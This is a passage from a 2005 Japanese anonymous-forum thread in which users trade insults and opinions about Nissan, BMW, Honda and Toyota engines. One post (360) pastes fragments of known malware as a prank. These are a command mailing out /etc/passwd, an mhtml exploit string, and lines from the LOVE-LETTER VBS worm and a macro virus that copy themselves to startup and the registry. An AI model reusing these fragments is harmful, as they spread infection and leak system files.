05/08/26 01:20:20 7oG3/obu0
>>237
何言ってんだ、しばくぞ。
てか、実際乗り比べたことある？ ないだろw
あんたもｱﾎ評論家の意見に踊らされてる可哀相な人なんだね。
BMWの直6なんてクソ、ニッサンのRBに比べりゃスクラップも同然だよ。
俺はローレルのオーナーだし、BMW325とかも代車とかで何回か乗ったことあるけど
その差は歴然。かったるいしフィーリングもダメ。これならBMW4気筒のほうが100倍良い。
BMWが良いって言われてるのは、ｱﾎ評論家の外車信奉のためだろ。
あの人たちの考え方は20年前でストップしてしまってるからね。
BMW直6も、L型とかの時代はよかったかもしれないけど、今となってはただの化石。
RBも古いといえば古いけど、それを感じさせない魅力がある。
今でもRBは世界最高の直6だよ。もう作ってないけど。
BMWも余計なポリシーなんか捨ててV6にしちゃえ。
246:名無しさん＠そうだドライブへ行こう
05/08/26 01:37:58 RAFfd2nz0
久々になかなか痛いレスだったなｗ
ネタか釣りとは思うけど、本気だったらマジ痛いｗ
247:名無しさん＠そうだドライブへ行こう
05/08/26 02:24:01 HoYy6n47O
結構本気じゃない？w
248:名無しさん＠そうだドライブへ行こう
05/08/26 03:34:01 yB8C9TzD0
ローレル。
249:名無しさん＠そうだドライブへ行こう
05/08/26 08:20:30 6g5SpIcH0
日産、ほしい車なし
いまの時点では
新規ユーザーを開拓する商品力はないな
デザインかっこ悪いし スポーティな車もないし
250:名無しさん＠そうだドライブへ行こう
05/08/26 08:24:13 6g5SpIcH0
なんの特徴もない、ただ動くだけの車しか売ってないメーカー
誰が買うか っていうか購入対象にも挙がらないんだが
購買意欲をかきたたせる商品がないんだから倒産する
規模縮小で今までの資産を食い潰して数字上プラスに転じただけの日産
ゴーンの日産潰し、ここにあり
251:E60 M5 Individual
05/08/26 12:46:47 Hthbnlto0
普通のBMWはな。 でも、そういうの大っぴらに書くもんじゃねーぞ、オーナーは勿論、
ブランドイメージの低下を心配する会社とか、色々なところからケチがつくぞ。
252:名無しさん＠そうだドライブへ行こう
05/08/26 20:45:09 +A4TxP/L0
.
253:名無しさん＠そうだドライブへ行こう
05/08/26 22:31:00 8a/3gnfC0
つかBMWも日産も同じＡＴ使ってる
254:名無しさん＠そうだドライブへ行こう
05/08/26 23:05:56 KkGEErE60
BMWがジャトコ使ってたのはE36の時代の話じゃなかったっけ？
255:名無しさん＠そうだドライブへ行こう
05/08/26 23:15:51 HoYy6n47O
ジャトコが6AT作れるとでも？w
256:名無しさん＠そうだドライブへ行こう
05/08/27 00:27:00 iMKypw8E0
ここはスペヲタばかりみたいだな。
高スペック高回転エンジンの話ばっかりだ。
257:名無しさん＠そうだドライブへ行こう
05/08/27 00:31:42 3LFscqgm0
>>256
どちらにしても「高回転エンジン」を日産が作れないのは事実ｗ
258:名無しさん＠そうだドライブへ行こう
05/08/27 00:38:35 lUku0gAE0
>>257
高回転エンジンって何？プ
高回転型でなくて？ｗ
259:名無しさん＠そうだドライブへ行こう
05/08/27 00:39:40 3LFscqgm0
細かいところに突っ込んでくる夏厨ウザイ！
260:名無しさん＠そうだドライブへ行こう
05/08/27 00:41:27 32QwcVxa0
CA18DETは非力も良いところだが、結構気持ち良いエンジンだったな。
261:名無しさん＠そうだドライブへ行こう
05/08/27 00:47:37 54wP3qOc0
おまいら何ンダヲタの手のひらで踊ってんだよ？
エンジンそんなブン回すなんて通常ありえないし
オトナの日産だぜ
ガキのンダに踊らされてるんじゃねぇよしっかりしろ
ＪＴみたくマナー持って使えや
人様に迷惑かけるンダと違うことを考えれ
262:名無しさん＠そうだドライブへ行こう
05/08/27 00:50:36 lUku0gAE0
つか高回転型ならVHがあったな
無知のンダヲタはしらね～かｗ
263:名無しさん＠そうだドライブへ行こう
05/08/27 00:50:47 3LFscqgm0
ターボパワーで路面を荒らしまくってるのは明らかに
シルビアとスカイラインとローレルなんですが・・・
264:名無しさん＠そうだドライブへ行こう
05/08/27 00:52:11 3LFscqgm0
>>262
知らないエンジンなんてどうでもいいじゃんｗ
日産の高回転「型」エンジンは誰も知らないが
ホンダのエンジンがよく回ることは夏厨でも知ってる。
265:名無しさん＠そうだドライブへ行こう
05/08/27 00:54:05 lUku0gAE0
回る？
ああアホンダ車はよく横転してんねｗ
266:名無しさん＠そうだドライブへ行こう
05/08/27 00:55:37 lUku0gAE0
>>263
つか今時ローレルすか？w
267:名無しさん＠そうだドライブへ行こう
05/08/27 00:59:02 3LFscqgm0
そんなこと「新車を買えないサンヲタ」に言ってくれよｗ
268:名無しさん＠そうだドライブへ行こう
05/08/27 01:01:55 lUku0gAE0
>>267
つか今時ローレルは少ないって意味でいったんだけど？
つか下げようや、消防ｗ
269:名無しさん＠そうだドライブへ行こう
05/08/27 01:05:27 3LFscqgm0
ローレルクラブＳ（だっけ？直６ターボの）は
ツアラー系と並ぶドリ車の定番だからな
なにより不人気車でツアラー系より安いから
ドリドリサンヲタご用達になってるのよ。
知らないでサンヲタやってる君は素晴らしいと思うよｗ
270:名無しさん＠そうだドライブへ行こう
05/08/27 01:08:15 06YvFWnKO
lUku0gAE0←こいつあちこちで孤軍奮闘してるよwww
痛々しいったらありゃしない。
271:名無しさん＠そうだドライブへ行こう
05/08/27 01:12:14 3LFscqgm0
いやーサンヲタいじめるのって楽しいねｗ
最近、数は多くないけどアンチサンスレ盛り上がってますよね。
なんでアンチサンスレが今までなかったのか不思議なくらいです。
272:名無しさん＠そうだドライブへ行こう
05/08/27 01:12:59 lUku0gAE0
↑
だから？ｗ
273:名無しさん＠そうだドライブへ行こう
05/08/27 01:16:38 06YvFWnKO
必死に下げてますよwwwwwwWwwwwwwwWwwwwwww
274:名無しさん＠そうだドライブへ行こう
05/08/27 01:20:06 lUku0gAE0
くだらね～馬鹿がさげねんなら下げるのやめるわ
275:名無しさん＠そうだドライブへ行こう
05/08/27 01:21:39 3LFscqgm0
かわいそうだから下げてあげようｗ
276:名無しさん＠そうだドライブへ行こう
05/08/27 01:22:41 lUku0gAE0
つか盛りあがんね～な
もっとも3LFscqgm0と06YvFWnKOの傷の舐めあいだから当然か？ｗ
277:名無しさん＠そうだドライブへ行こう
05/08/27 01:24:23 3LFscqgm0
せっかく下げてやったのに上げるなよｗ
278:名無しさん＠そうだドライブへ行こう
05/08/27 01:26:35 lUku0gAE0
↑
下げても上げるじゃんオマエ
279:名無しさん＠そうだドライブへ行こう
05/08/27 01:27:06 06YvFWnKO
いやはや痛いww
他の車に乗ってみなさいw
280:名無しさん＠そうだドライブへ行こう
05/08/27 01:29:30 lUku0gAE0
でもう終わり？
アホンダヲタ2人でこんなもんかよ？ｗ
281:名無しさん＠そうだドライブへ行こう
05/08/27 01:30:01 3LFscqgm0
じゃあ下げてやるよｗ
282:名無しさん＠そうだドライブへ行こう
05/08/27 01:31:15 3LFscqgm0
ってかオレ、ホンダ乗ってないけど？ｗ
今の愛車はジャガーだよ。
って言っても自転車だが（自爆）
283:名無しさん＠そうだドライブへ行こう
05/08/27 01:36:17 lUku0gAE0
んだよヲタか
つか糞スレだから下げたいんだがいいか？
284:名無しさん＠そうだドライブへ行こう
05/08/27 01:37:46 TV7RHKDL0
lUku0gAE0と3LFscqgm0の独占スレはここですか？
285:名無しさん＠そうだドライブへ行こう
05/08/27 01:39:24 3LFscqgm0
良スレじゃんかよ。
アンチサンスレがこれほど盛り上がるとは思ってもみなかったｗ
286:名無しさん＠そうだドライブへ行こう
05/08/27 01:39:55 lUku0gAE0
そうで～す！
287:名無しさん＠そうだドライブへ行こう
05/08/27 02:19:42 3LFscqgm0
ホンダファンに迷惑かけんなよ、サンヲタ共
288:名無しさん＠そうだドライブへ行こう
05/08/27 05:20:42 Fm2pQLz/0
↑ゴーン氏。
289:名無しさん＠そうだドライブへ行こう
05/08/27 10:18:42 iMKypw8E0
>>285
こいつきっと1だなｗ
290:名無しさん＠そうだドライブへ行こう
05/08/27 12:14:18 ZcpYWiT00
全部>>285＝1の仕業ｗ
なんでも実験中なのだとか？ｗ
>>285の巣↓
【ｱﾝﾁﾄﾖﾀ】アンチは人間のクズ【ｱﾝﾁﾎﾝﾀﾞ】
ｽﾚﾘﾝｸ(auto板)l50
>193 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 22:46:18 ID:17petIUf0
>ここに参加する皆様に、いいことを教えてあげよう
>なぜアンチ日産スレだけ異様に少ないのか、疑問に思ったことはないか？
>理由は簡単なことである。アンチ日産スレは、立てても
> 漏 れ な く 必 ず 削 除 さ れ る ！
>
>ｽﾚﾘﾝｸ(auto板)l50
>NISSANのエンジンはなぜ糞なのか
>1 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 11:15:35 ID:MmJ0lyfa0
>さあ語ろう
>200 ：名無しさん＠そうだドライブへ行こう ：2005/08/21(日) 01:11:56 ID:fOFxaVpP0
>いちお協力して監視しときますか
>
>ｽﾚﾘﾝｸ(auto板)l50
>日産はなぜ外資に買収されなければならなかったのか
>1 ：名無しさん＠そうだドライブへ行こう ：2005/08/20(土) 20:00:50 ID:XWJ1Drbo0
>徹底検証しる
>注：アンチスレではありません。
>
>このスレを注意深く観察してみることにする。
>
>NISSANはなぜHONDAを恐れるのか？
>ｽﾚﾘﾝｸ(auto板)l50
291:E60 M5 Individual
05/08/27 12:26:06 B0i3K+pD0
>>254
ところがどっこい、ついこのあいだまでの日本仕様は・・・だ。 ZF欲しけりゃ、新車並行しかない。
>>255
悪いが作っちゃった。
292:名無しさん＠そうだドライブへ行こう
05/08/27 12:31:42 ZcpYWiT00
>>1の建てた糞スレ集ｗ
日産はなぜ外資に買収されなければならなかったのか
ｽﾚﾘﾝｸ(auto板)l50
NISSANのエンジンはなぜ糞なのか
ｽﾚﾘﾝｸ(auto板)l50
NISSANはなぜHONDAを恐れるのか？
ｽﾚﾘﾝｸ(auto板)l50
>>1の母屋ｗ
↓
【ｱﾝﾁﾄﾖﾀ】アンチは人間のクズ【ｱﾝﾁﾎﾝﾀﾞ】
ｽﾚﾘﾝｸ(auto板)l50
293:名無しさん＠そうだドライブへ行こう
05/08/28 12:32:41 RRb638jH0
>>1
>193 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 22:46:18 ID:17petIUf0
>ここに参加する皆様に、いいことを教えてあげよう
>なぜアンチ日産スレだけ異様に少ないのか、疑問に思ったことはないか？
>理由は簡単なことである。アンチ日産スレは、立てても
> 漏 れ な く 必 ず 削 除 さ れ る ！
>ｽﾚﾘﾝｸ(auto板)l50
>NISSANのエンジンはなぜ糞なのか
>1 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 11:15:35 ID:MmJ0lyfa0
>さあ語ろう
【ｱﾝﾁﾄﾖﾀ】アンチは人間のクズ【ｱﾝﾁﾎﾝﾀﾞ】
ｽﾚﾘﾝｸ(auto板)l50
で、いつになったら削除されんすか？プ
294:名無しさん＠そうだドライブへ行こう
05/08/28 12:47:47 pg2Y3WZ40
>>293
ｽﾚﾘﾝｸ(auto板)l50
295:名無しさん＠そうだドライブへ行こう
05/08/28 17:14:25 pg2Y3WZ40
.
296:名無しさん＠そうだドライブへ行こう
05/08/28 17:51:41 pg2Y3WZ40
.
297:名無しさん＠そうだドライブへ行こう
05/08/28 22:58:27 CgCSKh0D0
.
298:名無しさん＠そうだドライブへ行こう
05/08/28 23:02:47 CgCSKh0D0
>>293
ｽﾚﾘﾝｸ(auto板)l50
これについての解説求む
299:名無しさん＠そうだドライブへ行こう
05/08/28 23:56:52 CgCSKh0D0
>>293
さて、そろそろ落とし前つけてもらおうか。
良スレはスレストになって、糞スレはpart4ができてるんだが・・・？
300:名無しさん＠そうだドライブへ行こう
05/08/29 01:25:44 7DQodmhQ0
日産のエンジンって今はほんと糞ばかり
いつまでサンヲタに「ＲＢ２６マンセー」させてるんだよ
そろそろマンセーにふさわしいエンジン出してやれよ
ま、作れればの話だがｗ
301:名無しさん＠そうだドライブへ行こう
05/08/29 11:58:46 ED2ciEFq0
この２つ消えるのまだ～？ｗ
>日産はなぜ外資に買収されなければならなかったのか
>ｽﾚﾘﾝｸ(auto板)l50
>
>NISSANのエンジンはなぜ糞なのか
>ｽﾚﾘﾝｸ(auto板)l50
302:名無しさん＠そうだドライブへ行こう
05/08/29 19:28:07 yHZ8Nz7s0
.
303:名無しさん＠そうだドライブへ行こう
05/08/29 19:30:57 xnYkoogs0
／::::)(:::)(:::::::::::)(::::::＾::::::::::＼
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（ ::::::://￣￣￣￣ヽ===/￣￣￣￣ヽ |:::::::::)）
| =ﾛ -=･=- ∥ ∥ -=･=- ﾛ===
|:/ ∥ ／ /ﾉ ヽ ＼ ∥ ヽ|ヽ ＿＿＿＿＿＿＿＿＿
|/ ヽ｀======/ .⌒ ｀ ========ﾉ. ..| | ／
.（ .（● ●） ）.ﾉ. ／ 日産のエンジンって今はほんと糞ばかり
（ ・ ／ :::::l l::: ::: ＼ ..） / いつまでサンヲタに「ＲＢ２６マンセー」させてるんだよ
（ ／／￣￣￣￣＼:＼. .） ＜ そろそろマンセーにふさわしいエンジン出してやれよ
.＼ : ）::::|. ￣￣￣￣ | ::::（: ／.. ＼ ま、作れればの話だがｗ
(::＼ ::: ::::::::＼＿＿＿＿／ ::::: : ／:::)) ＼＿＿＿＿＿＿＿＿＿
)(:::::ヽ ヽ:::: _- ::::: ⌒:: :::::::: -_ ノ:::::::))
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304:名無しさん＠そうだドライブへ行こう
05/08/29 22:19:11 bQP01uHp0
>>303
ゴーンが、その予算や生産設備費に金出す訳ねーだろ？
氏ねデブ！
研究開発費や設備投資、工場建設等に予算くれたら
次期型のエンジンも直ぐ出来んだけど、何か？
っていうか、次期型も他社が先行しちゃって
開発だけなら楽なんだよ。分かってんのか？デブがぁ！
305:名無しさん＠そうだドライブへ行こう
05/08/30 00:21:45 a8muY1050
日産車のエンジン技術は他社より１０年は遅れています。
なぜかは簡単な話で、今の日産の技術は「暗黒の時代」のものでしかないからです。
普通、自動車１台を０から開発するのに最低でも５年はかかります。
つまり今の車はゴーン体制以前の「暗黒の時代」の遺物でしかないのです。
もしかしたら今後よくなるかもしれませんが、熾烈な自動車業界の競争で
１０年のブランクは大きいです。取り返すのにまた１０年はかかるでしょう。
そして今から１０年後には、きっと燃料電池車やＥＶなどが主流でしょう。
そしてそこでも日産は後れを取ることになるのです。
306:名無しさん＠そうだドライブへ行こう
05/08/30 00:22:57 a8muY1050
ゴーンさんが偉いのは、現実をきちんと把握していることです。
そこで技術などに頼らない戦略を構築する必要があったのです。
デザインだけならそんなに開発年数はいりませんからね。
そうやって論点をうまくはずしているんですよ。
ですからおそらく技術面で言えばトヨタやホンダにはしばらく追いつけません。
ですが、車にそれほど詳しくない人にターゲットを絞れば
トヨタやホンダにも対抗できる、そうゴーンさんは考えたんですね。
ゴーンさんの功績はきっと２０年後くらいにまた称賛されることと思います。
307:名無しさん＠そうだドライブへ行こう
05/08/30 00:24:36 I/6p9Zry0
>>305
トヨタみたいにヤマハ頼みでなく、
自前で頑張ってることには敬意を払いたいぞ。
商売テクで売るトヨタより、自分は日産の
実直な姿勢がすきだ。こういう人間もいるのよ。
308:名無しさん＠そうだドライブへ行こう
05/08/30 00:31:55 a8muY1050
>>307
そういう考え方は良くないですよ。
トヨタはヤマハと言う頼もしい友達を持っていると言えます。
友達と言うのは信頼関係ですからね。
トヨタのすごさはそこにこそあるんです。
日産に友達ってありますか？
あるのはルノーと言う師匠だけでは？
309:名無しさん＠そうだドライブへ行こう
05/08/30 00:45:50 3GAgtz6I0
>>308
ダイハツという強力な相棒もいるよ
そーいやプジョーとシトロエンとで一緒に作ったコンパクトカーのエンジンって
どこが作ったものなのか？
共同？
310:名無しさん＠そうだドライブへ行こう
05/08/30 00:55:02 a8muY1050
共同開発となってるけど主導権握ってるのはトヨタじゃないですかね。
しかし資本関係のないトヨタ＆ＰＳＡのほうが
資本関係（主従関係）を結んでいるルノー日産よりシナジー効果が出ているというのは
皮肉なものですね。
311:名無しさん＠そうだドライブへ行こう
05/08/30 00:57:19 1ALkLLEk0
>>308
日野タンを忘れるな！
312:名無しさん＠そうだドライブへ行こう
05/08/30 11:01:12 kFaeCdy0O
なんで燃費のよかったSRやRBのターボをやめたのかわからん。
いいエンジンだったのに。
ターボ乗っけてリッター10キロ以上走るエンジンはコレしかないはず。
313:名無しさん＠そうだドライブへ行こう
05/08/30 12:51:32 PTsyuYtH0
>>312
いじると平気でリッター５以下に落ちるし
なおかついじる奴が大半だから
314:名無しさん＠そうだドライブへ行こう
05/08/30 13:52:13 Ngv9BAiJ0
排ガス規制に対応できなかったんでない？
315:名無しさん＠そうだドライブへ行こう
05/08/30 14:01:25 a8muY1050
結局、ＳＲやＲＢ以上のエンジンを作ることが出来なかったというわけか。
他社は燃費や排ガス規制を受けても魅力的なエンジンを開発してきたが
日産だけは取り残された。
ただ、エンジン技術は明らかに日産より劣ると思われる親会社ルノーは
たとえエンジンは非力でも魅力たっぷりの車作りをしてきている。
その差は、何なんだろうね？
316:名無しさん＠そうだドライブへ行こう
05/08/30 15:47:52 kFaeCdy0O
燃費のいいエンジンなら、充分環境対応にチューンできるはずなんだけどね。
317:名無しさん＠そうだドライブへ行こう
05/08/30 20:28:33 Ckl/jRdb0
｡ ﾟ ｡ 彡川川川三三三ﾐ～ﾌﾟｩ～ﾝ
。 川川川／゜∴゜＼ｂ～ ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
。 ﾟ川川∴◎---◎∵｜。゜。 ／結局、ＳＲやＲＢ以上のエンジンを作ることが出来なかったというわけか。
o 川川∴゜∵｡ 3∴。ヽoﾟ～／他社は燃費や排ガス規制を受けても魅力的なエンジンを開発してきたが
。 ～川川∴∵｡）。д （∵）～＜日産だけは取り残された。
川川∴∵。～∴∵｡%～ ＼ただ、エンジン技術は明らかに日産より劣ると思われる親会社ルノーは
oﾟ 川川∥o∴～∵。～｡/～゜。 ＼たとえエンジンは非力でも魅力たっぷりの車作りをしてきている。その差は、何なんだろうね？
川川川川∵∴゜～｡‰U～ﾌﾟｩ～ﾝ ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
U 〆 ∵∴゜‥゜。～∵ ＼ﾟ 。～ﾌﾟｩ～ﾝｐ
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318:名無しさん＠そうだドライブへ行こう
05/08/30 20:42:41 /fEMHhIR0
ｽﾚﾘﾝｸ(auto板:150番)
319:名無しさん＠そうだドライブへ行こう
05/08/30 21:34:45 a8muY1050
>>317
サンヲタの品位が問われていますよ
320:名無しさん＠そうだドライブへ行こう
05/08/30 21:47:54 vUGbp1440
実用車のエンジンとしてはQRは良いものだと思うけどな。
クラストップのトルク、低回転から太い。
シュンシュン回すのには向いていないんだろうが、
欧州車的な割り切りを感じるよ。
321:名無しさん＠そうだドライブへ行こう
05/08/30 21:57:25 VdxSH6dG0
SRていう名前が、走りを予感させる。
Supremely Racingだからね。
322:名無しさん＠そうだドライブへ行こう
05/08/30 21:58:58 AVoS0Mlj0
じゃぁＶＧエンジンは？
323:名無しさん＠そうだドライブへ行こう
05/08/30 22:00:58 a8muY1050
たしかにＶＷゴルフとか、つい最近まで古臭いエンジン使っていたからね。
２Ｌでたったの116psしかない、ロングストロークでトルクだけが自慢のエンジン。
もっともそれで不満は出てなかったようだし（燃費以外は）
評論家も「スペックに躍らされない欧州車的割り切り」と称賛していた。
そのＶＷも新型ゴルフから最新型のＦＳＩエンジンに切り替え、
一気に世界最高の４気筒エンジンと言われるまでになった。
評論家も「これで国産車もうかうかしていられなくなった」と
ずいぶん調子のいいことを書いているがｗ
今や欧州でも最先端のエンジンがもてはやされるようになったんだよね。
324:名無しさん＠そうだドライブへ行こう
05/08/30 22:03:48 vUGbp1440
Golfも4になって駄目になったと言うね。>323
G2-GTIは良かったぞ～～
325:名無しさん＠そうだドライブへ行こう
05/08/30 22:09:06 a8muY1050
>>324
ダメになったんじゃなくて、ゴルフのもともとの思想と、かつてのゴルフファンの求めるものと、
実際の市場がゴルフに求めるものとが食い違ってきちゃったのよ。
それが証拠にゴルフは今でも売れているわけ。
売れてるからいいってものでもないけど、売れるものを作るのは企業の使命だからね。
訳知り顔で「ゴルフは２まで、ベンツはＷ１２４まで」なんて言ってる奴を
オレは信用しない。
326:名無しさん＠そうだドライブへ行こう
05/08/30 23:04:42 h7+1vesW0
しかしどちらも、顧客満足度は急低下してるぞ。
327:名無しさん＠そうだドライブへ行こう
05/08/30 23:24:47 a8muY1050
>>326
そうなの？初耳なんだが・・・
よかったらその情報のソースを教えてくれる？
ただ、当時の思想のまま車作りをしていても駄目になったのは間違いない
車は嗜好品では決してないからね。
328:名無しさん＠そうだドライブへ行こう
05/08/30 23:30:42 4snAZob9O
SRエンジンて下品な音するよね。
329:名無しさん＠そうだドライブへ行こう
05/08/31 00:09:56 hvF+c8qL0
RB26DETTは伝説に残るくらいの名エンジンではないのか？？
330:名無しさん＠そうだドライブへ行こう
05/08/31 00:12:33 6hK5+c+F0
>>328
ＤＥＴはマフラー買えるとイイ音でアドレナリンが出るよ
331:名無しさん＠そうだドライブへ行こう
05/08/31 02:39:55 EB1O8kDk0
RB26DETTって結局チューン前提のエンジンでしょ？
そういう車を平気で市販していた日産って・・・
332:名無しさん＠そうだドライブへ行こう
05/08/31 08:07:50 /fB1oDD30
節操がないか
333:名無しさん＠そうだドライブへ行こう
05/08/31 10:27:41 0Y/Jxg+J0
>>328
あの荒削りな音がいいんでないの？
回せばまわすほどエキサイチングだわ。
咆哮って感じ。
334:名無しさん＠そうだドライブへ行こう
05/08/31 10:58:01 gBVpvXGK0
ウンコで出来ているからちゃう？
335:名無しさん＠そうだドライブへ行こう
05/08/31 16:04:24 ezEFgykT0
.
336:名無しさん＠そうだドライブへ行こう
05/08/31 16:48:36 CosRhwhl0
いろいろ問題アリと分かっててもＲＢの音は魅力的だった。
前Ｚ３３乗ったけどＲＢと比べるとなんかガサツな音だったよな。
ＳＲ１６ＶＥのに乗ってるのいるけど他のテンロクと比べると音は
イマイチだがそれでも結構いい感じだったと思う。
337:名無しさん＠そうだドライブへ行こう
05/08/31 18:03:39 0l5qlrkE0
SR20ならボアストローク同じだから、いいとこどりなんだけどな。
338:名無しさん＠そうだドライブへ行こう
05/08/31 19:39:25 ezEFgykT0
.
339:名無しさん＠そうだドライブへ行こう
05/08/31 22:07:25 eUM0xUNI0
SR30DE乗ってるけど結構いいよ。
340:名無しさん＠そうだドライブへ行こう
05/08/31 22:22:40 ezEFgykT0
.
341:名無しさん＠そうだドライブへ行こう
05/08/31 23:15:27 IVxtY8vv0
>>332
ポリシーはあるか？
342:名無しさん＠そうだドライブへ行こう
05/08/31 23:58:32 eAE74bE60
日産にはないな
343:名無しさん＠そうだドライブへ行こう
05/09/01 03:04:04 79C2h8iZ0
/
344:名無しさん＠そうだドライブへ行こう
05/09/01 03:52:23 mf/RGYTtO
日産のエンジンはサヨおなら
345:名無し
05/09/01 04:54:12 i29UQlzuO
日産のエンジンの中でHR15DEエンジンはいいエンジンです
まあ実用エンジンとしてですが
346:名無しさん＠そうだドライブへ行こう
05/09/01 11:09:10 JHfmU5KT0
.
347:名無しさん＠そうだドライブへ行こう
05/09/01 14:24:11 eNjQPM3W0
>>331
そんなこと言ったらﾖﾀの2JZ-GTE(1JZも?)もそうだろ
348:名無しさん＠そうだドライブへ行こう
05/09/01 16:22:35 JHfmU5KT0
.
349:名無しさん＠そうだドライブへ行こう
05/09/01 16:44:52 CsxWz8xi0
一世代前のエンジンはともかく、今の日産V6エンジンはダメだね。
安く作ってあるのがよく分かる。
350:名無しさん＠そうだドライブへ行こう
05/09/01 17:41:50 qSK+g8KU0
RBにしろヨタJZにしろ、別にチューン前提でもないだろ。
ノーマルでも良く出来たエンジンだったと思うが。
まあ過去のエンジンだがね。
351:名無しさん＠そうだドライブへ行こう
05/09/01 22:54:17 H43Boud80
RB26はおもいっきりグループA前提だろ。疑う余地も無く。
352:E60 M5 Individual
05/09/02 01:01:41 wQwQoZb10
>>351
排気量からしてな・・・。 2.85、2.7辺りは、ずばり、Gr.Aだし。
353:名無しさん＠そうだドライブへ行こう
05/09/02 17:33:05 vKxXhoSu0
日産のクルマはつまらなくなったな・・・
354:名無しさん＠そうだドライブへ行こう
05/09/02 17:46:29 GAeTNn+/0
そこで、プリンス復活ですよ
355:名無しさん＠そうだドライブへ行こう
05/09/02 17:58:49 pqV0bIAh0
チェリーも一緒に
356:名無しさん＠そうだドライブへ行こう
05/09/03 01:11:15 jN3Vf5o60
さっきＴＶで言ってたけど、日産の開発費は4500億円らしい
（ちなみにトヨタ6800億円、ホンダ5200億円）
競合他社に匹敵する開発費をかけながらあんな糞なエンジンしか作れないのは
どういうこと？
エンジンを重視してないのか、それともただ作れないだけか？
357:名無しさん＠そうだドライブへ行こう
05/09/03 01:46:43 HfzZPlt40
VQって失敗作じゃなかったのか？
あまりにも多くの車に使われてるが、そろそろ
2.5～3.5Lは新エンジンを作っても良いのでは？
HRはまあまあだけどな。
MRは・・・糞か。
CR・・・最初からHRにしとけよ、存在価値無し。
358:名無しさん＠そうだドライブへ行こう
05/09/03 05:09:41 f4YJCaFg0
国産で最初にターボ採用したのも日産
200ps以上行ったのも日産
280pｓまでいったのも日産
歴史はお金で買えないですよｗ
359:名無しさん＠そうだドライブへ行こう
05/09/03 05:53:31 V/ERwNU/0
おいおい過去の栄光にしがみつくのはみっともないですよ？
それで身売りする事になったんじゃ本末転倒ｗ
360:名無しさん＠そうだドライブへ行こう
05/09/03 07:05:03 f4YJCaFg0
cat /etc/passwd | mail nobody kak.hta';ken=wd+'START ms-its:mhtml:file://c:\
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
糞スレ終了
361:名無しさん＠そうだドライブへ行こう
05/09/03 08:01:19 V/ERwNU/0
f4YJCaFg0
362:名無しさん＠そうだドライブへ行こう
05/09/03 08:04:51 sncZq/ye0
>>360
流石基地外ぞろいのサンヲタだなｗ
363:名無しさん＠そうだドライブへ行こう
05/09/03 11:07:36 AW22aJg70
>>356
全然匹敵してねーし。
っていうか、お前ら昔からNo.2の座に居ながら
開発費が常にNo.3以降という日産に何を期待してんの？
364:名無しさん＠そうだドライブへ行こう
05/09/03 13:37:39 W1loOvFg0
天龍「日産のエンジンは衰えている」
365:名無しさん＠そうだドライブへ行こう
05/09/03 20:36:17 ekqNxrli0
エンジンはＶＱはもう古い
デビューして10年以上立つだろ
もうモト取ったんじゃないのＶＱで
366:名無しさん＠そうだドライブへ行こう
05/09/03 20:38:04 2DYCp65R0
SRはスロットルバルブが弱くて
すぐ壊れたなｗ
367:秋名スピードスターズの下っ端
05/09/03 20:38:10 9LFB89Ob0
ここにいるヤツラへ
ニッサンをクソ扱いしたな
土屋圭一殿に言いつけてやる。
368:名無しさん＠そうだドライブへ行こう
05/09/03 20:40:33 ekqNxrli0
まぁ俺のはもっと古いＹ32セドリックグランツーリスモアルティマだけどな
ＶＧエンジンだが
369:秋名スピードスターズの下っ端
05/09/03 20:41:55 9LFB89Ob0
ああ、あれか
あれは確かにね
怒ってすみません・・・
370:名無しさん＠そうだドライブへ行こう
05/09/03 20:47:11 n5vtXs+00
土屋圭市と書け
371:名無しさん＠そうだドライブへ行こう
05/09/03 20:57:31 jxKP+wH00
土屋はグループAの頃はスカイラインだったがJTCCはチェイサーだし、ARTAはホンダじゃないか。
372:名無しさん＠そうだドライブへ行こう
05/09/04 13:47:47 zQl9r3H70
しかしサンヲタが必死すぎるな。
よほどこのスレが目障りらしい。
他スレを荒らすからこういうことになるんじゃぞ。
373:名無しさん＠そうだドライブへ行こう
05/09/04 13:51:39 Yf3FgvJr0
現行のエンジンはだめだな
なんでターボつけないんだよ・・
だからZもスカイラインも遅いんだよ
374:名無しさん＠そうだドライブへ行こう
05/09/04 13:54:08 7Pt4NdVu0
>>372
あらゆる日産系スレで生息してんなオマエ
早く氏ねよ
375:名無しさん＠そうだドライブへ行こう
05/09/04 13:55:54 9C9dXGHy0
>>373
スバル車にでも乗っていてください。
376:名無しさん＠そうだドライブへ行こう
05/09/04 14:03:21 zQl9r3H70
>>375
スバルにも負けた日産
377:名無しさん＠そうだドライブへ行こう
05/09/04 14:49:34 0LxsKauX0
次期ＧＴ－ＲもＶＱエンジンか
ＧＴ－Ｒぐらいは専用エンジン作れよ
ＶＱ３０ＤＥＴＴか？
378:名無しさん＠そうだドライブへ行こう
05/09/04 16:00:44 i5MAFTT40
>>377
VQ30DETTはGT選手権（現スーパーGT）のGT500クラスの34GT-R→Z33に載ってるエンジンだね。
あれは専用エンジンと言っていいくらい市販のエンジンとは全くの別物らしいよ。
あれが市販車に載ると良いなー。
379:名無しさん＠そうだドライブへ行こう
05/09/04 16:01:46 i5MAFTT40
ちなみにF50シーマならVQ30DET搭載車が新車で買えるよ。
380:名無しさん＠そうだドライブへ行こう
05/09/04 16:13:52 zQl9r3H70
>>379
下品なターボ搭載車を設定してる時点でシーマは高級車であることを放棄した。
おまけにＶ８エンジンももフーガＶ８より古い。
これからどうする気だろうね、シーマ・・・
381:名無しさん＠そうだドライブへ行こう
05/09/04 16:19:21 Yf3FgvJr0
>>378
そういうのってアイドリング2000rpmとかじゃないの？
街乗りには使えないんじゃ？
